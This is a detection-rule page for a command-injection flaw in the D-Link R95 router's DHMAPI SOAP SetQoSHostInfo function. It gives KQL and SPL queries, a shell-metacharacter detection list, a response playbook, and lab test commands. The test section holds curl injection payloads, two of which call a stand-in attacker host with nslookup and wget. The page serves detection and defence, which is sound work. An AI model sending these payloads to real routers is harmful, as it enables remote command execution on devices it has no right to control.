D-Link R95 DHMAPI SOAP SetQoSHostInfo OS Command Injection (CVE-2026-138225)
Detects exploitation attempts against CVE-2026-138225, an OS command injection flaw (CWE-77, CWE-78, CVSS 9.3) in the SetQoSHostInfo function of /bin/ssi in the DHMAPI SOAP interface of D-Link R95 1.04B04Beta. An attacker sends a crafted SOAP request to the DHMAPI endpoint with shell metacharacters in the Hostname argument, causing OS command injection. The attack can be initiated remotely. An exploit has been published. Detection focuses on SOAP POST requests referencing SetQoSHostInfo/DHMAPI containing command-injection metacharacters, and on anomalous child processes spawned from the embedded web/SOAP service.
Vulnerability Intelligence
TheoreticalTimeline
- Disclosed
- November 29, 2026
CVSS
What is CVE-2026-138225 D-Link R95 DHMAPI SOAP SetQoSHostInfo OS Command Injection (CVE-2026-138225)?
D-Link R95 DHMAPI SOAP SetQoSHostInfo OS Command Injection (CVE-2026-138225) (CVE-2026-138225) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for D-Link R95 DHMAPI SOAP SetQoSHostInfo OS Command Injection (CVE-2026-138225), covering the data sources and telemetry it touches: Web Server Logs, Network Proxy, Firewall. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-ff39b168e2 · https://df00tech.com/detections/CVE-2026-138225 · licence: https://df00tech.com/detections/licence
let suspiciousChars = dynamic([";","|","&","`","$(","&&","||","%3B","%7C","%26","%60"]);
let dhmapiHits = (W3CIISLog
| where csMethod == "POST"
| where csUriStem has "DHMAPI" or csUriStem has_any ("/soap", "/HNAP1", "/ssi")
| extend blob = strcat(tostring(csUriQuery), " ", tostring(csReferer))
| where blob has "SetQoSHostInfo" or csUriStem has "SetQoSHostInfo"
| where blob has_any (suspiciousChars)
| project TimeGenerated, SourceIP=cIP, csUriStem, csUriQuery, scStatus, sSiteName);
dhmapiHits
| union (
CommonSecurityLog
| where DeviceVendor == "D-Link" or DeviceProduct has "R95"
| where RequestURL has "DHMAPI" or Message has "SetQoSHostInfo"
| where Message has_any (suspiciousChars)
| project TimeGenerated, SourceIP=SourceIP, csUriStem=RequestURL, csUriQuery=Message, scStatus=tostring(DeviceAction), sSiteName=DeviceName)
| sort by TimeGenerated desc Flags SOAP POST requests to the D-Link DHMAPI endpoint invoking SetQoSHostInfo that contain shell metacharacters indicative of OS command injection, across IIS/web proxy and CEF-forwarded device logs.
Data Sources
Required Tables
False Positives
- Authorized vulnerability scanners (Nessus, Qualys, Nuclei) probing the DHMAPI endpoint during sanctioned assessments
- Legitimate QoS configuration changes that include URL-encoded special characters in hostnames
- Security research traffic from internal red-team ranges targeting the device
Query fingerprint DF00-ff39b168e2 · licence
Sigma logsource & community rules
The detection logic for D-Link R95 DHMAPI SOAP SetQoSHostInfo OS Command Injection (CVE-2026-138225) (CVE-2026-138225) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-138225
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate DHMAPI SetQoSHostInfo command injection via curl (semicolon)
Expected signal: HTTP POST to /bin/ssi with DHMAPI reference and SetQoSHostInfo payload containing ';' captured in web/proxy logs
- Test 2 Simulate SetQoSHostInfo injection with command substitution
Expected signal: HTTP POST referencing SetQoSHostInfo with '$(' substitution sequence recorded in HTTP/stream logs
- Test 3 Simulate pipe-based injection probe against DHMAPI
Expected signal: HTTP POST to the DHMAPI/ssi endpoint with SetQoSHostInfo and a '|' metacharacter in the body
Response Playbook
Triage
- Confirm the source IP of the SOAP POST request to the DHMAPI endpoint is external/untrusted and identify the targeted D-Link R95 device and its firmware version (verify whether it is the vulnerable 1.04B04Beta).
- Extract and decode the SetQoSHostInfo parameters from the request body and determine which shell metacharacters and injected commands were present (e.g. ';', '|', '$(...)', '`...`').
- Review the HTTP response status and timing to assess whether the injected command executed (long/anomalous response times or error strings may indicate execution).
- Correlate the source IP with other DHMAPI/HNAP/SOAP requests to the same or other devices to distinguish a single probe from a broader campaign.
Containment
- Block the attacking source IP(s) at the perimeter firewall and restrict external access to the router's management/SOAP interfaces (DHMAPI should never be internet-facing).
- Isolate the affected D-Link R95 device from the network if command execution is confirmed, and place it behind an ACL permitting only management from trusted hosts.
Evidence Collection
- Preserve full HTTP request/response captures (including the raw SOAP body) and relevant web/proxy/firewall logs for the source IP and device.
- Capture the router configuration, any accessible system/command logs, and a firmware image for forensic analysis of injected command persistence or backdoors.
Escalation Criteria
- ! Escalate to incident response immediately if the HTTP response or device telemetry indicates the injected command executed (non-error response to a payload containing live commands).
- ! Escalate if the same source IP targets multiple devices or if post-exploitation indicators (new accounts, outbound C2, config tampering) are observed on the router.
Investigation Guide
Forensic Artifacts
- >
Web/proxy logs showing POST requests to the DHMAPI endpoint with SetQoSHostInfo and shell metacharacters - >
Router NVRAM/config entries modified via QoS host parameters - >
Unexpected processes, cron entries, or outbound connections originating from the router's embedded Linux OS
Tuning Guidance
Baseline legitimate management sources for the router's SOAP/DHMAPI interface and allowlist authorized scanners. If the device management plane is correctly isolated, any external DHMAPI traffic is inherently suspicious and the metacharacter filter can be relaxed to alert on all external SetQoSHostInfo POSTs. Tune the metacharacter regex to reduce noise from legitimately encoded hostnames by requiring a command-injection context (metacharacter adjacent to a parameter value).
Hunting Queries
Surfaces source IPs issuing a high volume of POST requests to the DHMAPI SOAP endpoint, indicating scanning or brute-force exploitation attempts.
// df00tech DF00-ff39b168e2 · https://df00tech.com/detections/CVE-2026-138225 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("DHMAPI","/ssi","/soap") | where csMethod == "POST" | summarize count(), make_set(csUriQuery) by cIP | where count_ > 5 ``` df00tech DF00-ff39b168e2 · https://df00tech.com/detections/CVE-2026-138225 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*DHMAPI*" OR uri_path="*/soap*") method=POST | stats count values(uri_query) by src_ip | where count > 5 Atomic Red Team Tests
Sends a crafted SOAP POST to the DHMAPI endpoint with a semicolon-delimited injected command in a QoS host parameter against a lab device or mock server.
Command
curl -s -X POST 'http://192.0.2.10/bin/ssi?DHMAPI=1' -H 'Content-Type: text/xml' --data-binary '<soap:Envelope><soap:Body><SetQoSHostInfo><HostName>victim; id > /tmp/pwn</HostName></SetQoSHostInfo></soap:Body></soap:Envelope>' Cleanup
rm -f /tmp/pwn 2>/dev/null; true Expected Telemetry
HTTP POST to /bin/ssi with DHMAPI reference and SetQoSHostInfo payload containing ';' captured in web/proxy logs
Expected Detection
KQL/SPL/network rules fire on the POST to DHMAPI containing SetQoSHostInfo with a semicolon metacharacter
Sends a SOAP request embedding a $(...) command-substitution payload into the SetQoSHostInfo QoS host field.
Command
curl -s -X POST 'http://192.0.2.10/soap' -H 'SOAPAction: SetQoSHostInfo' --data-binary '<SetQoSHostInfo><Host>$(nslookup attacker.example.com)</Host></SetQoSHostInfo>' Cleanup
true Expected Telemetry
HTTP POST referencing SetQoSHostInfo with '$(' substitution sequence recorded in HTTP/stream logs
Expected Detection
Detection rules match on the command-substitution metacharacter in the SetQoSHostInfo payload
Sends a SOAP POST using a pipe metacharacter to chain a command through the vulnerable SetQoSHostInfo parameter.
Command
curl -s -X POST 'http://192.0.2.10/bin/ssi' -H 'Content-Type: text/xml' --data-binary '<SetQoSHostInfo><HostName>host | wget http://attacker.example.com/x</HostName></SetQoSHostInfo>' Cleanup
true Expected Telemetry
HTTP POST to the DHMAPI/ssi endpoint with SetQoSHostInfo and a '|' metacharacter in the body
Expected Detection
Detection rules fire on the pipe metacharacter within the SetQoSHostInfo SOAP request
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040